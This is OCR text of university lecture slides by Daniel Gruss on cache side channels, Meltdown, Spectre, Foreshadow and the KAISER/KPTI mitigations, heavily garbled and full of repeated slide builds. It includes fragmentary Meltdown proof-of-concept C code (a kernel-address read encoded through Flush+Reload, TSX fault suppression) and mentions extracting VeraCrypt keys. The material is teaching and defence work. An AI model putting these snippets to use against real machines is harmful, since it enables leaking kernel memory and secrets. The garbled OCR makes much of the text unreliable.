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FOOD CACHE

Revolutionary concept!

Store your food at home,
never go to the grocery store
during cooking.

Can store ALL kinds of food.

ONLY TODAY INSTEAD OF $1,300

$1,299

ORDER VIA PHONE: +555 12345
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printf("%d", 1i);
printf("%d", i);
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wﬂSS

Cac®
printf("%d", 1i);
printf("%d", i);

(a0n®

W
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D'\Z/\M 2CCeSSy
s\ow
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CPU Cache www.tugraz.at

D'\Z/\M 2CCeSSy
s\ow

\S5
cache "
printf("%d", 1i);

printf("%d", i); v«*

Cach®
NO 'DRAM 2CCEeSSy

muc\(\ WCaS)Ye\(
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Flush+4Reload www.tugraz.at

Shared Memory
ATTACKER VICTIM

n Daniel Gruss — Graz University of Technology



Flush+4Reload www.tugraz.at

Shared Memory
ATTACKER VICTIM
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Shared Memory
ATTACKER VICTIM

flush

Shared Memory
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Shared Memory
ATTACKER VICTIM

flush
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Shared Memory
ATTACKER VICTIM

——| dCcCess

n Daniel Gruss — Graz University of Technology



Flush+4Reload www.tugraz.at

Shared Memory
ATTACKER VICTIM

——| dCCesSsS
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Shared Memory
ATTACKER VICTIM

dCCessS -
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Flush+4Reload www.tugraz.at

Shared Memory
ATTACKER VICTIM

dCCessS /

\

N fast if victim accessed data,

slow otherwise
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Memory Access Latency www.tugraz.at

00 Cache Hits
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= Terminal - o

Open v + Untitled Document 1 Save = = +
File Edit View Search Terminal Help
% sleep 2; ./spy 300 7f05140a4000-7f051417b000 r-xp 0x20000 08:02 26
8050 /usr/1ib/x86_64-linux-gnu/gedit/libgedit.so
|
I
nreferchl <NIR=14 0% 2017 214296
Terminal - o x
File Edit View Search Terminal Help
sharks ./spy []
PlainText »  TabWidth:2 + Ln1,Col1 - INS

LnoImesaane

Cache Template Attack Demo



Cache Template

www.tugraz.at

ADDRESS

0x7c680
0x7c6c0
0x7c700
0x7c740
0x7c780
0x7c7c0
0x7c800
0x7c840
0x7c880
0x7c8c0
0x7c900
0x7c940
0x7c980
0x7c9cO
0x7ca00
0x7cb80
0x7cc40
0x7cc80
0x7cccO
0x7cd00
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Back to Work




Y ( Serve with cootied
I and peeled potaloes










Wait for an hour

v

x LATENCY




1. Wash and cut

| 3. Heat 2 tablespoons of
Y oilinapan

4 Try vegelables until




il |
1. Wash and cut | 3

1 FE.. B Parallelize
Vi 2. Pick the basil leaves
1 and set aside

| 3. Heat 2 tablespoons of
| \ oil ina pan <
| 4. Try vegetables uniil
! golden and softened
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int width = 10, height = 5;
float diagonal = sqrt(width * width
+ height * height);

int area = width * height;

printf ("Area %d x %d = %d\n", width, height, area);

n Daniel Gruss — Graz University of Technology



www.tugraz.at

Out-of-order Execution

Parallelize

10, height = 5;

b— int width
<
Q float diagonal = sqrt(width * width
+ height * height);
int area = widt * eight;
Q(D ‘ idth * heigh
<printf("Area %d x %d = %d\n", width, height, area);
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char data = *(char*)Oxffffffff81a000e0;
printf ("%c\n", data);
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Building Meltdown www.tugraz.at

char data = *(char*)O0xffffffff81a000e0;
printf ("%c\n", data);

segfault at fffffff£f81a000e0 ip

0000000000400535
sp 00007ffce4a80610 error 5 in reader
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'O Adapted code
.ty
* *
' *(volatile charx*)O0;

- array [84 * 4096] = 0; // unreachable
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Flush+Reload over all pages of the array

Access time

0 50 100 150 200 250
Page

Daniel Gruss — Graz University of Technology
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Flush+Reload over all pages of the array

Access time

0 50 100 150 200 250
Page

This also works on AMD and ARM!
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O e Qut-of-order instructions leave microarchitectural traces

o
o

g

Daniel Gruss — Graz University of Technology



Building Meltdown www.tugraz.at

O e Qut-of-order instructions leave microarchitectural traces

o
o

g

e We can see them for example through the cache
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O e Qut-of-order instructions leave microarchitectural traces

o
o

e We can see them for example through the cache

o “.@
q ? e Give such instructions a name: transient instructions
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Building Meltdown www.tugraz.at

O e Qut-of-order instructions leave microarchitectural traces

o
o

e We can see them for example through the cache

o - ~@®
q ? e Give such instructions a name: transient instructions
e We can indirectly observe the execution of transient instructions
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Building Meltdown www.tugraz.at

e Combine the two things

v,
(] -
(RS

char data = *(char*)Oxffffffff81a000e0;
array[data * 4096] = 0;
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Building Meltdown www.tugraz.at

Flush-+Reload again...

500
400
300

Access time
[cycles]

. Meltdown actually works.
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| used with autho|
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|ilicon Graphics,
| Inc. However,

| the authors make|
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|replacement for |
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) N

\ e Open-source utility for disk encryption

VeraCrypt
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e Open-source utility for disk encryption
~ e Fork of TrueCrypt

VeraCrypt
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) N

e Open-source utility for disk encryption
~ e Fork of TrueCrypt

VeraCrypt e Cryptographic keys are stored in RAM
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VeraCrypt www.tugraz.at

) N

e Open-source utility for disk encryption
~ e Fork of TrueCrypt

Veracrypt e Cryptographic keys are stored in RAM
e With Meltdown, we can extract the keys from DRAM
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attacker@meltdown ~/exploit %

-




Take the kernel addresses... www.tugraz.at

e Kernel addresses in user space are a
problem
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Take the kernel addresses... www.tugraz.at

e Kernel addresses in user space are a
problem

e Why don't we take the kernel addresses...
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...and remove them www.tugraz.at

e ...and remove them if not needed?
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...and remove them www.tugraz.at

e ...and remove them if not needed?

e User accessible check in hardware is not
reliable

Daniel Gruss — Graz University of Technology









KAISER /'knizo/

| 1. [german] Empereor,
| ruler of an empire

2. largest penguin,
emperor penguin




KAISER lllustration www.tugraz.at

Without KAISER:
Shared address space

’ User memory 8 ﬂ Kernel memory

context switch
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KAISER lllustration www.tugraz.at

Without KAISER:
Shared address space

’ User memory 8 q ‘ Kernel memory

context switch

With KAISER:
User address space
’ User memory 8 q ‘\ _ Not mapped
0 Tl -1
3 e
g, :
context switch - § { Interrupt !
5 5 dispatcher |
3
8 R !

SMAP + SMEP s q ‘/ Kernel memory

Kernel address space
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KAISER (Stronger Kernel Isolation) Patches www.tugraz.at
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KAISER (Stronger Kernel Isolation) Patches www.tugraz.at

e Our patch

e Adopted in
Linux
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KAISER (Stronger Kernel Isolation) Patches www.tugraz.at

0
&

e Our patch
. o e Adopted in
* Adopted in Windows
Linux
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KAISER (Stronger Kernel Isolation) Patches www.tugraz.at

e Adopted in e Adopted in
Windows 0SX/i0S

OO
&

e Adopted in
Linux
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KAISER (Stronger Kernel Isolation) Patches MBIz

0
&

e Our patch '
_ e Adopted in e Adopted in
0 iRl Windows 0SX/i0S
Linux

— now in every computer
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KAISER/KPTI Performance www.tugraz.at

Syscalls per Second and CPU

1000 e No PCID, Small Pages °® uﬁ

100 ] PCID, Small Pages .o ::}..I-- é

10 . PCID, Large Pages O .; ;' » 1

= N 3 | & E|

SN 0 e ® ° :. ] : ¢ E

K a® e pmnt" " ¢ <

£ gt dyg Repaf g BT gy m -

g 01 ’ R
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.
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—6 ‘ MY, ‘ ! ‘
10° 10° 10 10° 10° 10"

Syscalls per Second and CPU
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Foreshadow / Foreshadow-NG' [Van+18; Wei+18] Rpg e azal

A,
L1D | Pass to out-of—orderl ‘%%igo

Page fault Page fault EPfalI Abort page

'Jo Van Bulck et al. Foreshadow: Extracting the Keys to the Intel SGX Kingdom with Transient
Out-of-Order Execution. In: USENIX Security Symposium. 2018.
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Admin's vord Manager

Unlock

[Booting from ROM...

rly console in extract_kernel
input_data: Ox0000000001e0al?6
input_len: Ox00000000003d48f8
putput: Ox0000000001000000
putput_len: Ox00000000011bc258

lkernel_total_size: Ox0000000000dee®OO
oted via startup_320)

hysical KASLR using RDTSC...

irtual KASLR using RDTSC...

Decompressing Linux... Parsing ... Performing relocations...
[Booting the kernel.

hold>] to leak hypervisor data from the L1

oreshadow Demo



Mitigating L1TF/Foreshadow www.tugraz.at

Either:
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Either:

e hyperthreading: only schedule mutually trusting threads on
same physical core
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Either:

e hyperthreading: only schedule mutually trusting threads on
same physical core

e context switch: flush L1 when switching to guest
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Mitigating L1TF/Foreshadow www.tugraz.at

Either:

e hyperthreading: only schedule mutually trusting threads on
same physical core

e context switch: flush L1 when switching to guest
Or:
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Mitigating L1TF/Foreshadow www.tugraz.at

Either:

e hyperthreading: only schedule mutually trusting threads on
same physical core

e context switch: flush L1 when switching to guest
Or:
e disable EPTs

Daniel Gruss — Graz University of Technology
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Speculative Cooking




>A table for & pleasec<
















Spectre (variant 1) www.tugraz.at

index = 0;
char* data = "textKEY";

if (index < 4)

7 AN %

Prediction
LUT [data[index] * ] 0
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Spectre (variant 1) www.tugraz.at

index = 0;
|
/““

char* data = "EextKEY”;

if (index < 4)

7 AN %

Prediction
LUT [data[index] * ] 0
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Spectre (variant 1) www.tugraz.at

index = 0;
char* data = "fextKEY”;

if (index < 4)

Prediction

Speculate

LUT [data[index] * ] 0
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Spectre (variant 1) www.tugraz.at

index = 0;
char* data = "fextKEY”;

if (index < 4)

Execute

Prediction
LUT [data[index] * ] 0
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Spectre (variant 1) www.tugraz.at

index = 1;
char* data = "textKEY";

if (index < 4)

o AN %

Prediction
LUT [data[index] * ] 0
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index = 1;
char* data = "textKEY";

if (index < 4)

o AN %

Prediction
LUT [data[index] * ] 0
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Spectre (variant 1) www.tugraz.at

index = 1;
char* data = "textKEY";

if (index < 4)

& @ %o

Prediction

Speculate

LUT [data[index] * ] 0
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Spectre (variant 1) www.tugraz.at

index = 1;
char* data = "textKEY";

if (index < 4)

Prediction
LUT [data[index] * ] 0
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index = 2;
char* data = "textKEY";

if (index < 4)

O S
RN %

Prediction
LUT [data[index] * ] 0
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Spectre (variant 1) www.tugraz.at

index = 2;

\

char* data = "textKEY";

if (index <

Q V)
<z, A
S
Predlctlon

LUT [data[index] *
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Spectre (variant 1) www.tugraz.at

index = 2;

\

char* data = "textKEY";

if (index <

Speculate
e,° /
Predlctlon

LUT [data[index] *
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Spectre (variant 1) www.tugraz.at

index = 2;

\

char* data = "textKEY";

if (index < 4)

QO V)
e 6
S KN Q

Prediction
LUT [data[index] * ] 0
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Spectre (variant 1) www.tugraz.at

index = 3;
char* data = "textKEY";

if (index < 4)

Q (VA4
RN @ Q

Prediction
LUT [data[index] * ] 0
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Spectre (variant 1) www.tugraz.at

index = 3;

\

char* data = "textKEY";

if (index <

Q V)
<z, A
S
Predlctlon

LUT [data[index] *
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Spectre (variant 1) www.tugraz.at

index = 3;
char* data = "teitKEY”;

if (index < 4)

RN X
Q 76
< N \§

Prediction

Speculate

LUT [data[index] * ] 0
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Spectre (variant 1) www.tugraz.at

index = 3;

\

char* data = "teitKEY”;

if (index < 4)

Q V)
) A
N @ Q

Prediction
LUT [data[index] * ] 0
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Spectre (variant 1) www.tugraz.at

index = 4;
char* data = "textKEY";

if (index < 4)

O S
Q A
& f\ Jo

~

Prediction
LUT [data[index] * ] 0
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Spectre (variant 1) www.tugraz.at

index = 4;

N\

char* data = "textKEY";

if (index <

Q V)
<z, A
S
Predlctlon

LUT [data[index] *
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Spectre (variant 1) www.tugraz.at

index = 4;

N\

char* data = "textKEY";

if (index <

Speculate
e,° /
Predlctlon

LUT [data[index] *
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Spectre (variant 1) www.tugraz.at

index = 4;

N\

char* data = "texﬁKEY”;

if (index < 4)

Y RN X
(4
& N &

Prediction

Execute

LUT [data[index] * ] 0
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index = 5;
char* data = "textKEY";

if (index < 4)

Q (VA4
RN @ Q

Prediction
LUT [data[index] * ] 0
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Spectre (variant 1) www.tugraz.at

index = 5;

N\

char* data = "textKEY";

if (index < 4)

Q (VA4
RN @ Q

Prediction
LUT [data[index] * ] 0
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Spectre (variant 1) www.tugraz.at

index = 5;

N\

char* data = "textKEY";

if (index < 4)

RN X
Q 76
< N \§

Prediction

Speculate

LUT [data[index] * ] 0
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Spectre (variant 1) www.tugraz.at

index = 5;

N\

char* data = "textKEY";

if (index < 4)

Q e
3 (;%f::l 6@

Prediction

Execute

LUT [data[index] * ] 0
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index = 6;
char* data = "textKEY";

if (index < 4)

O S
RN %

Prediction
LUT [data[index] * ] 0
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Spectre (variant 1) www.tugraz.at

index = 6;

O\

char* data = "textKEY";

if (index < 4)

O S
RN %

Prediction
LUT [data[index] * ] 0
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Spectre (variant 1) www.tugraz.at

index = 6;

O\

char* data = "textKEY";

if (index < 4)

S S
AR %

Prediction

Speculate

LUT [data[index] * ] 0
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Spectre (variant 1) www.tugraz.at

index = 6;

O\

char* data = "textKEY";

if (index < 4)

S a WA

Prediction

Execute

LUT [data[index] * ] 0
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Systematization Tree

in-place (IP) vs., out-of-place (OPL; PHT-CA-IP %

(T Cross-address-space PHT-CA-OP % ]
strategy

Same-address-space [ PHT-SA-IP ]
Corrssors)
Cross-address-space K
Same-address-space

RSB-SA-OP

microarchitec-
tural buffer

Spectre-type

[ Spectre-RSB
Spectre-STL

)

Cross-address-space
Same-address-space
Meltdown-US ] |
Meltdown-P

fault type

Meltdown-NM ]
Meltdown-AC % |

[Meltdown-type

Meltdown-BR )T[ Meltdown-MPX
Meltdown-GP | Meltdown-BND *
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Animal* a = bird;

a->move ()
N\ wim &%.
\\\\\ swim(j 0)0
Prediction
LUT [data[index] ] 0
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Animal* a = bird;

a->move ()
Speculate
N wim \%/.
& swim(j //))0
Prediction
LUT [data[index] * 1 0
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Spectre (variant 2) www.tugraz.at

Animal* a = bird;

a->move ()
N\ wim &%.
\\\\\ swim(j 0)0
Prediction
LUT [data[index] ] 0
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Animal* a = bird;

a->move ()
Execute s
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Mitigations www.tugraz.at

Defense -
Attack

Spectre-PHT O0O0CC 00000000 eRODO
Spectre-BTB OO0C@CCOCCOOOCHROCCO
Spectre-RSB OO0 QOCOCOCOQOOOCOOOOMOOCO
Spectre-STL OOOCCOCCOQOOOOOOCO RO

Spectre-PHT O0O0CC @OQOO000OCOOORODO
Spectre-BTB OO0 C @O COOOCOOCOCOMOCO O

Intel

ARM Spectre-RSB OO QOO COOOOOOOMOO O
Spectre-STL OOOCCOCC QOO OOOO RO
Spectre-PHT O0O0CC @000 OOORODO

AV Spectre-BTB OO0C @OCCOCOCCORIDCOMOC O

Spectre-RSB O O0QOOCOCCOOOCOOCNOMOOC
Spectre-STL OOOCOOCCQOOOOOOCOHONO

Mitigated (@), partially mitigated (@), not mitigated (O), theoretically mitigated (M), theoretically impeded (), not theoretically impeded (CJ), or
out of scope ().
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Meltdown vs. Spectre
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We have ignored microarchitectural attacks for many many years:
e attacks on crypto — “software should be fixed”

attacks on ASLR — “ASLR is broken anyway”

attacks on SGX and TrustZone — “not part of the threat
model”

Rowhammer attacks — “only affects cheap sub-standard
modules”

— for years we solely optimized for performance
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— After learning about a side channel you realize:
— e the side channels were documented in the Intel manual
v e only now we understand the implications
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— e new class of attacks
—_— e many problems to solve around microarchitectural attacks and
v especially transient execution attacks
o m— e dedicate more time into identifying problems and not solely in

mitigating known problems
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e Basic Meltdown code leads to a crash (segfault)

e How to prevent the crash?

Y

Fault
Handling
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Fault Fault
Suppression Prevention
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Meltdown with Fault Suppression R

e Intel TSX to suppress exceptions instead of signal handler

if (xbegin() == XBEGIN_STARTED) {
char secret = *(charx) Oxffffffff81a000e0;
array[secret * 4096] = 0;
xend () ;

for (size_t i = 0; i < 256; i++) {
if (flush_and_reload(array + i * 4096) == CACHE_HIT) {
printf ("%c\n", 1i);

Daniel Gruss — Graz University of Technology



Meltdown with Fault Prevention www.tugraz.at

e Speculative execution to prevent exceptions

int speculate = rand() % 2;
size_t address = (Oxffffffff81a000e0 * speculate) +
((size_t)&zero * (1 - speculate));
if (! speculate) {
char secret = *(char*) address;
array[secret * 4096] = 0;

for (size_t i = 0; i < 256; i++) {
if (flush_and_reload(array + i * 4096) == CACHE_HIT) {
printf ("%c\n", i);
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Mastering € Pointers

Robert J.
Traister

- Disk.
INCWUDED

e Improve the performance with a NULL pointer dereference

if (xbegin() == XBEGIN_STARTED) {
*(volatile charx) O0;
char secret = *(charx) Oxffffffff81a000e0;
array[secret * 4096] = 0;
xend () ;
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